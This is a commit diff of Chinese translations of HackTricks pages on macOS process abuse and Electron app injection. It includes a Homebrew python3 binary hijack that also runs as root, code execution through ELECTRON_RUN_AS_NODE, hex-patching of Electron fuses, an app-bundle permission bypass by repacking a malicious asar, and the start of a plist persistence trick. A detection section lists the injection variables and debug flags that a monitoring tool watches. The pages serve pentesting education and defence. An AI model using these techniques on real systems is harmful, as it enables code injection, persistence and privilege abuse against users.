mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
a0d1c4d0f3
commit
6551336d3f
17 changed files with 905 additions and 889 deletions
|
@ -1,24 +1,26 @@
|
||||||
# macOS进程滥用
|
# macOS 进程滥用
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
<summary><strong>从零到英雄学习 AWS 黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持 HackTricks 的其他方式:
|
||||||
* 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 如果您想在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 的收藏
|
||||||
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## MacOS进程滥用
|
## MacOS 进程滥用
|
||||||
|
|
||||||
与任何其他操作系统一样,MacOS提供了各种方法和机制,用于进程之间的**交互、通信和共享数据**。虽然这些技术对于系统的高效运行至关重要,但黑客也可以滥用这些技术来**执行恶意活动**。
|
MacOS,像其他操作系统一样,提供了多种方法和机制,用于**进程之间的互动、通信和数据共享**。虽然这些技术对于系统的高效运行至关重要,但它们也可能被威胁行为者滥用来**执行恶意活动**。
|
||||||
|
|
||||||
### 库注入
|
### 库注入
|
||||||
|
|
||||||
库注入是一种技术,攻击者通过它**强制一个进程加载恶意库**。一旦注入,该库在目标进程的上下文中运行,为攻击者提供与进程相同的权限和访问权限。
|
库注入是一种技术,攻击者**强制进程加载恶意库**。一旦注入,库就会在目标进程的上下文中运行,为攻击者提供与进程相同的权限和访问能力。
|
||||||
|
|
||||||
{% content-ref url="macos-library-injection/" %}
|
{% content-ref url="macos-library-injection/" %}
|
||||||
[macos-library-injection](macos-library-injection/)
|
[macos-library-injection](macos-library-injection/)
|
||||||
|
@ -34,15 +36,15 @@
|
||||||
|
|
||||||
### 进程间通信
|
### 进程间通信
|
||||||
|
|
||||||
进程间通信(IPC)是指不同进程之间**共享和交换数据**的不同方法。虽然IPC对于许多合法应用程序至关重要,但它也可以被滥用以破坏进程隔离、泄露敏感信息或执行未经授权的操作。
|
进程间通信(IPC)指的是不同进程**共享和交换数据**的不同方法。虽然 IPC 对许多合法应用程序至关重要,但它也可能被滥用来破坏进程隔离、泄露敏感信息或执行未授权的操作。
|
||||||
|
|
||||||
{% content-ref url="../mac-os-architecture/macos-ipc-inter-process-communication/" %}
|
{% content-ref url="../mac-os-architecture/macos-ipc-inter-process-communication/" %}
|
||||||
[macos-ipc-inter-process-communication](../mac-os-architecture/macos-ipc-inter-process-communication/)
|
[macos-ipc-inter-process-communication](../mac-os-architecture/macos-ipc-inter-process-communication/)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Electron应用程序注入
|
### Electron 应用程序注入
|
||||||
|
|
||||||
使用特定的环境变量执行的Electron应用程序可能容易受到进程注入的攻击:
|
使用特定环境变量执行的 Electron 应用程序可能容易受到进程注入的攻击:
|
||||||
|
|
||||||
{% content-ref url="macos-electron-applications-injection.md" %}
|
{% content-ref url="macos-electron-applications-injection.md" %}
|
||||||
[macos-electron-applications-injection.md](macos-electron-applications-injection.md)
|
[macos-electron-applications-injection.md](macos-electron-applications-injection.md)
|
||||||
|
@ -50,48 +52,48 @@
|
||||||
|
|
||||||
### Dirty NIB
|
### Dirty NIB
|
||||||
|
|
||||||
NIB文件**定义应用程序中的用户界面(UI)元素及其交互**。然而,它们可以**执行任意命令**,并且如果修改了NIB文件,Gatekeeper不会阻止已经执行的应用程序再次执行。因此,它们可以用来使任意程序执行任意命令:
|
NIB 文件**定义用户界面(UI)元素**及其在应用程序中的交互。然而,它们可以**执行任意命令**,并且**Gatekeeper 不会阻止**已经执行的应用程序被执行,如果**NIB 文件被修改**。因此,它们可以用来使任意程序执行任意命令:
|
||||||
|
|
||||||
{% content-ref url="macos-dirty-nib.md" %}
|
{% content-ref url="macos-dirty-nib.md" %}
|
||||||
[macos-dirty-nib.md](macos-dirty-nib.md)
|
[macos-dirty-nib.md](macos-dirty-nib.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Java应用程序注入
|
### Java 应用程序注入
|
||||||
|
|
||||||
可以滥用某些Java功能(如**`_JAVA_OPTS`**环境变量)来使Java应用程序执行**任意代码/命令**。
|
可以滥用某些 Java 功能(如环境变量 **`_JAVA_OPTS`**)使 Java 应用程序执行**任意代码/命令**。
|
||||||
|
|
||||||
{% content-ref url="macos-java-apps-injection.md" %}
|
{% content-ref url="macos-java-apps-injection.md" %}
|
||||||
[macos-java-apps-injection.md](macos-java-apps-injection.md)
|
[macos-java-apps-injection.md](macos-java-apps-injection.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### .Net应用程序注入
|
### .Net 应用程序注入
|
||||||
|
|
||||||
可以通过滥用.Net调试功能(不受macOS的运行时加固等保护措施保护)将代码注入到.Net应用程序中。
|
可以通过**滥用 .Net 调试功能**(不受 macOS 保护,如运行时加固)来注入 .Net 应用程序中的代码。
|
||||||
|
|
||||||
{% content-ref url="macos-.net-applications-injection.md" %}
|
{% content-ref url="macos-.net-applications-injection.md" %}
|
||||||
[macos-.net-applications-injection.md](macos-.net-applications-injection.md)
|
[macos-.net-applications-injection.md](macos-.net-applications-injection.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Perl注入
|
### Perl 注入
|
||||||
|
|
||||||
检查不同的选项,以使Perl脚本执行任意代码:
|
查看不同的选项,使 Perl 脚本在以下位置执行任意代码:
|
||||||
|
|
||||||
{% content-ref url="macos-perl-applications-injection.md" %}
|
{% content-ref url="macos-perl-applications-injection.md" %}
|
||||||
[macos-perl-applications-injection.md](macos-perl-applications-injection.md)
|
[macos-perl-applications-injection.md](macos-perl-applications-injection.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Python注入
|
### Python 注入
|
||||||
|
|
||||||
如果设置了环境变量**`PYTHONINSPECT`**,Python进程在完成后将进入Python命令行界面。还可以使用**`PYTHONSTARTUP`**指定在交互会话开始时要执行的Python脚本。\
|
如果设置了环境变量 **`PYTHONINSPECT`**,Python 进程在完成后会进入 Python 命令行界面。也可以使用 **`PYTHONSTARTUP`** 来指示在交互式会话开始时执行的 Python 脚本。\
|
||||||
但是,请注意,当**`PYTHONINSPECT`**创建交互会话时,**`PYTHONSTARTUP`**脚本不会被执行。
|
但是,请注意,当 **`PYTHONINSPECT`** 创建交互式会话时,**`PYTHONSTARTUP`** 脚本不会被执行。
|
||||||
|
|
||||||
其他环境变量,如**`PYTHONPATH`**和**`PYTHONHOME`**,也可以用于使Python命令执行任意代码。
|
其他环境变量,如 **`PYTHONPATH`** 和 **`PYTHONHOME`**,也可能有助于使 Python 命令执行任意代码。
|
||||||
|
|
||||||
请注意,使用**`pyinstaller`**编译的可执行文件即使使用嵌入的Python运行,也不会使用这些环境变量。
|
请注意,使用 **`pyinstaller`** 编译的可执行文件即使使用嵌入式 Python 运行,也不会使用这些环境变量。
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
总的来说,我找不到一种滥用环境变量使Python执行任意代码的方法。\
|
总的来说,我没有找到利用环境变量使 Python 执行任意代码的方法。\
|
||||||
然而,大多数人使用**Hombrew**安装Python,它会将Python安装在默认管理员用户的**可写位置**。你可以使用类似以下的方法劫持它:
|
然而,大多数人使用 **Homebrew** 安装 Python,这将在默认管理员用户的**可写位置**安装 Python。您可以用类似的方法劫持它:
|
||||||
```bash
|
```bash
|
||||||
mv /opt/homebrew/bin/python3 /opt/homebrew/bin/python3.old
|
mv /opt/homebrew/bin/python3 /opt/homebrew/bin/python3.old
|
||||||
cat > /opt/homebrew/bin/python3 <<EOF
|
cat > /opt/homebrew/bin/python3 <<EOF
|
||||||
|
@ -101,24 +103,25 @@ cat > /opt/homebrew/bin/python3 <<EOF
|
||||||
EOF
|
EOF
|
||||||
chmod +x /opt/homebrew/bin/python3
|
chmod +x /opt/homebrew/bin/python3
|
||||||
```
|
```
|
||||||
即使以root身份运行python,也会运行此代码。
|
即使是**root**在运行python时也会运行这段代码。
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## 检测
|
## 检测
|
||||||
|
|
||||||
### Shield
|
### Shield
|
||||||
|
|
||||||
[**Shield**](https://theevilbit.github.io/shield/)([**Github**](https://github.com/theevilbit/Shield))是一个开源应用程序,可以**检测和阻止进程注入**操作:
|
[**Shield**](https://theevilbit.github.io/shield/) ([**Github**](https://github.com/theevilbit/Shield)) 是一个开源应用程序,可以**检测并阻止进程注入**行为:
|
||||||
|
|
||||||
* 使用**环境变量**:它将监视以下任何环境变量的存在:**`DYLD_INSERT_LIBRARIES`**,**`CFNETWORK_LIBRARY_PATH`**,**`RAWCAMERA_BUNDLE_PATH`**和**`ELECTRON_RUN_AS_NODE`**
|
* 使用**环境变量**:它会监控以下任何环境变量的存在:**`DYLD_INSERT_LIBRARIES`**、**`CFNETWORK_LIBRARY_PATH`**、**`RAWCAMERA_BUNDLE_PATH`** 和 **`ELECTRON_RUN_AS_NODE`**
|
||||||
* 使用**`task_for_pid`**调用:查找一个进程想要获取另一个进程的**任务端口**,从而允许在进程中注入代码的情况。
|
* 使用 **`task_for_pid`** 调用:找出一个进程何时想要获取**另一个进程的任务端口**,这允许向进程中注入代码。
|
||||||
* **Electron应用程序参数**:某人可以使用**`--inspect`**,**`--inspect-brk`**和**`--remote-debugging-port`**命令行参数以调试模式启动Electron应用程序,从而注入代码。
|
* **Electron 应用参数**:有人可以使用 **`--inspect`**、**`--inspect-brk`** 和 **`--remote-debugging-port`** 命令行参数来启动 Electron 应用的调试模式,从而向其中注入代码。
|
||||||
* 使用**符号链接**或**硬链接**:通常最常见的滥用是**使用我们的用户权限**放置一个链接,并将其指向更高权限的位置。对于硬链接和符号链接,检测非常简单。如果创建链接的进程具有**不同的权限级别**,我们会创建一个**警报**。不幸的是,在符号链接的情况下,阻止是不可能的,因为我们在创建之前没有关于链接目标的信息。这是Apple的EndpointSecuriy框架的一个限制。
|
* 使用**符号链接**或**硬链接**:通常最常见的滥用是**用我们的用户权限放置一个链接**,并**指向更高权限**的位置。对于硬链接和符号链接,检测非常简单。如果创建链接的进程与目标文件的**权限级别不同**,我们会创建一个**警报**。不幸的是,在符号链接的情况下,阻止是不可能的,因为我们在创建之前没有关于链接目的地的信息。这是苹果的 EndpointSecuriy 框架的一个限制。
|
||||||
|
|
||||||
### 其他进程发出的调用
|
### 其他进程发起的调用
|
||||||
|
|
||||||
在[**这篇博文**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html)中,您可以了解如何使用函数**`task_name_for_pid`**获取有关其他**在进程中注入代码的进程**的信息,然后获取有关该其他进程的信息。
|
在[**这篇博客文章**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html)中,你可以找到如何使用函数 **`task_name_for_pid`** 来获取有关其他**进程在一个进程中注入代码**的信息,然后获取有关那个其他进程的信息。
|
||||||
|
|
||||||
请注意,要调用该函数,您需要具有与运行进程相同的uid或**root**(它返回有关进程的信息,而不是注入代码的方法)。
|
请注意,要调用该函数,你需要与运行进程的**相同 uid** 或者是 **root**(它返回有关进程的信息,而不是注入代码的方法)。
|
||||||
|
|
||||||
## 参考资料
|
## 参考资料
|
||||||
|
|
||||||
|
@ -127,12 +130,14 @@ chmod +x /opt/homebrew/bin/python3
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> 从零开始学习 AWS 黑客攻击!</strong></summary>
|
||||||
|
|
||||||
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
其他支持 HackTricks 的方式:
|
||||||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* 获得[**官方PEASS和HackTricks衣物**](https://peass.creator-spring.com)
|
* 如果你想在 **HackTricks** 中看到你的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏品
|
||||||
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享你的黑客技巧**。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,39 +1,41 @@
|
||||||
# macOS Electron应用程序注入
|
# macOS Electron 应用程序注入
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
<summary><strong>从零到英雄学习 AWS 黑客攻击,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持 HackTricks 的其他方式:
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 如果您想在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## 基本信息
|
## 基本信息
|
||||||
|
|
||||||
如果你不知道什么是Electron,你可以在[**这里找到大量信息**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps)。但现在只需知道Electron运行**node**。\
|
如果您不知道 Electron 是什么,您可以在[**这里找到大量信息**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps)。但现在只需知道 Electron 运行 **node**。\
|
||||||
而node有一些**参数**和**环境变量**,可以用来**执行其他代码**,而不仅仅是指定的文件。
|
并且 node 有一些 **参数** 和 **环境变量** 可以用来 **执行其他代码**,而不仅仅是指定的文件。
|
||||||
|
|
||||||
### Electron保险丝
|
### Electron 保险丝
|
||||||
|
|
||||||
接下来将讨论这些技术,但最近Electron添加了几个**安全标志来防止它们**。这些是[**Electron保险丝**](https://www.electronjs.org/docs/latest/tutorial/fuses),这些是用于**防止**macOS上的Electron应用程序**加载任意代码**的保险丝:
|
这些技术将在接下来讨论,但近来 Electron 添加了几个 **安全标志以防止它们**。这些是 [**Electron 保险丝**](https://www.electronjs.org/docs/latest/tutorial/fuses),用于 **防止** macOS 中的 Electron 应用程序 **加载任意代码**:
|
||||||
|
|
||||||
* **`RunAsNode`**:如果禁用,它将阻止使用环境变量**`ELECTRON_RUN_AS_NODE`**来注入代码。
|
* **`RunAsNode`**:如果禁用,它将阻止使用环境变量 **`ELECTRON_RUN_AS_NODE`** 来注入代码。
|
||||||
* **`EnableNodeCliInspectArguments`**:如果禁用,像`--inspect`,`--inspect-brk`这样的参数将不会被遵守。从而避免了注入代码的方式。
|
* **`EnableNodeCliInspectArguments`**:如果禁用,像 `--inspect`、`--inspect-brk` 这样的参数将不被尊重。避免了这种方式注入代码。
|
||||||
* **`EnableEmbeddedAsarIntegrityValidation`**:如果启用,macOS将验证加载的**`asar`**文件。通过修改此文件的内容,以防止代码注入。
|
* **`EnableEmbeddedAsarIntegrityValidation`**:如果启用,macOS 将 **验证** 加载的 **`asar`** **文件**。这样可以 **防止** 通过修改此文件的内容来 **注入代码**。
|
||||||
* **`OnlyLoadAppFromAsar`**:如果启用,它将只检查和使用app.asar,而不是按照以下顺序搜索加载:**`app.asar`**,**`app`**,最后是**`default_app.asar`**。因此,当与**`embeddedAsarIntegrityValidation`**保险丝结合使用时,**加载未经验证的代码是不可能的**。
|
* **`OnlyLoadAppFromAsar`**:如果启用,它将仅检查并使用 app.asar,而不是按以下顺序搜索加载:**`app.asar`**、**`app`** 最后是 **`default_app.asar`**。因此,当与 **`embeddedAsarIntegrityValidation`** 保险丝 **结合** 使用时,**不可能** **加载未经验证的代码**。
|
||||||
* **`LoadBrowserProcessSpecificV8Snapshot`**:如果启用,浏览器进程将使用名为`browser_v8_context_snapshot.bin`的文件进行其V8快照。
|
* **`LoadBrowserProcessSpecificV8Snapshot`**:如果启用,浏览器进程将使用名为 `browser_v8_context_snapshot.bin` 的文件作为其 V8 快照。
|
||||||
|
|
||||||
另一个不会阻止代码注入的有趣的保险丝是:
|
另一个有趣但不会防止代码注入的保险丝是:
|
||||||
|
|
||||||
* **EnableCookieEncryption**:如果启用,磁盘上的cookie存储将使用操作系统级别的加密密钥进行加密。
|
* **EnableCookieEncryption**:如果启用,磁盘上的 cookie 存储将使用操作系统级别的加密密钥进行加密。
|
||||||
|
|
||||||
### 检查Electron保险丝
|
### 检查 Electron 保险丝
|
||||||
|
|
||||||
你可以从应用程序中**检查这些标志**:
|
您可以使用以下命令从应用程序**检查这些标志**:
|
||||||
```bash
|
```bash
|
||||||
npx @electron/fuses read --app /Applications/Slack.app
|
npx @electron/fuses read --app /Applications/Slack.app
|
||||||
|
|
||||||
|
@ -49,45 +51,47 @@ LoadBrowserProcessSpecificV8Snapshot is Disabled
|
||||||
```
|
```
|
||||||
### 修改 Electron Fuses
|
### 修改 Electron Fuses
|
||||||
|
|
||||||
正如[**文档中提到的**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode),**Electron Fuses** 的配置是在包含字符串 **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`** 的 **Electron 二进制文件**中配置的。
|
正如[**文档提到的**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode),**Electron Fuses** 的配置位于 **Electron 二进制文件**中,其中包含字符串 **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**。
|
||||||
|
|
||||||
在 macOS 应用程序中,通常位于 `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`。
|
在 macOS 应用程序中,这通常位于 `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`
|
||||||
```bash
|
```bash
|
||||||
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
|
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
|
||||||
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
|
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
|
||||||
```
|
```
|
||||||
您可以在[https://hexed.it/](https://hexed.it/)中加载此文件并搜索先前的字符串。在此字符串之后,您可以在ASCII中看到一个数字“0”或“1”,表示每个保险丝是否被禁用或启用。只需修改十六进制代码(`0x30`表示`0`,`0x31`表示`1`)以**修改保险丝的值**。
|
您可以在 [https://hexed.it/](https://hexed.it/) 中加载此文件,并搜索前面的字符串。在这个字符串之后,您可以在ASCII中看到一个数字“0”或“1”,表示每个保险丝是禁用还是启用的。只需修改十六进制代码(`0x30` 是 `0`,`0x31` 是 `1`),以**修改保险丝值**。
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
请注意,如果您尝试使用修改后的字节覆盖应用程序中的**`Electron Framework`二进制文件**,该应用程序将无法运行。
|
请注意,如果您尝试用这些修改过的字节**覆盖**应用程序中的**`Electron Framework` 二进制文件**,应用程序将无法运行。
|
||||||
|
|
||||||
## RCE向Electron应用程序添加代码
|
## 向 Electron 应用程序添加代码实现 RCE
|
||||||
|
|
||||||
Electron应用程序可能使用**外部JS/HTML文件**,因此攻击者可以在这些文件中注入代码,其签名不会被检查,并在应用程序的上下文中执行任意代码。
|
Electron 应用程序可能会使用**外部 JS/HTML 文件**,因此攻击者可以在这些文件中注入代码,这些文件的签名不会被检查,并且可以在应用程序的上下文中执行任意代码。
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
然而,目前存在两个限制:
|
然而,目前有两个限制:
|
||||||
|
|
||||||
* 需要**`kTCCServiceSystemPolicyAppBundles`**权限来修改应用程序,因此默认情况下不再可能。
|
* 修改应用程序需要**`kTCCServiceSystemPolicyAppBundles`** 权限,所以默认情况下这是不可能的。
|
||||||
* 编译的**`asap`**文件通常启用了**`embeddedAsarIntegrityValidation`**和**`onlyLoadAppFromAsar`**这两个保险丝
|
* 编译的 **`asap`** 文件通常启用了保险丝 **`embeddedAsarIntegrityValidation`** `和` **`onlyLoadAppFromAsar`**
|
||||||
|
|
||||||
这使得攻击路径变得更加复杂(或不可能)。
|
这使得攻击路径更加复杂(或不可能)。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
请注意,可以通过将应用程序复制到另一个目录(如**`/tmp`**),将文件夹**`app.app/Contents`**重命名为**`app.app/NotCon`**,使用您的**恶意**代码修改**asar**文件,然后将其重新命名为**`app.app/Contents`**并执行来绕过**`kTCCServiceSystemPolicyAppBundles`**的要求。
|
请注意,通过将应用程序复制到另一个目录(如 **`/tmp`**),将文件夹 **`app.app/Contents`** 重命名为 **`app.app/NotCon`**,**修改**带有**恶意**代码的 **asar** 文件,然后将其重命名回 **`app.app/Contents`** 并执行它,可以绕过**`kTCCServiceSystemPolicyAppBundles`** 的要求。
|
||||||
|
|
||||||
您可以使用以下命令从asar文件中解压缩代码:
|
您可以使用以下命令从 asar 文件中解包代码:
|
||||||
```bash
|
```bash
|
||||||
npx asar extract app.asar app-decomp
|
npx asar extract app.asar app-decomp
|
||||||
```
|
```
|
||||||
并在修改后重新打包:
|
```plaintext
|
||||||
|
修改后重新打包:
|
||||||
|
```
|
||||||
```bash
|
```bash
|
||||||
npx asar pack app-decomp app-new.asar
|
npx asar pack app-decomp app-new.asar
|
||||||
```
|
```
|
||||||
## 使用 `ELECTRON_RUN_AS_NODE` 进行远程代码执行(RCE)<a href="#electron_run_as_node" id="electron_run_as_node"></a>
|
## 利用 `ELECTRON_RUN_AS_NODE` 实现远程代码执行 <a href="#electron_run_as_node" id="electron_run_as_node"></a>
|
||||||
|
|
||||||
根据[**文档**](https://www.electronjs.org/docs/latest/api/environment-variables#electron\_run\_as\_node)的说明,如果设置了这个环境变量,它将以普通的 Node.js 进程启动。
|
根据[**官方文档**](https://www.electronjs.org/docs/latest/api/environment-variables#electron\_run\_as\_node),如果设置了这个环境变量,它将启动进程作为一个普通的Node.js进程。
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -99,12 +103,12 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
如果禁用了fuse **`RunAsNode`**,环境变量**`ELECTRON_RUN_AS_NODE`**将被忽略,这将无法工作。
|
如果 **`RunAsNode`** 的保险丝被禁用,环境变量 **`ELECTRON_RUN_AS_NODE`** 将被忽略,这将不起作用。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### 从App Plist中注入
|
### 从应用 Plist 中注入
|
||||||
|
|
||||||
正如[**在这里提出的**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/),您可以滥用这个环境变量在plist中保持持久性:
|
正如[**这里提出的**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/),你可以在 plist 中滥用这个环境变量来维持持久性:
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
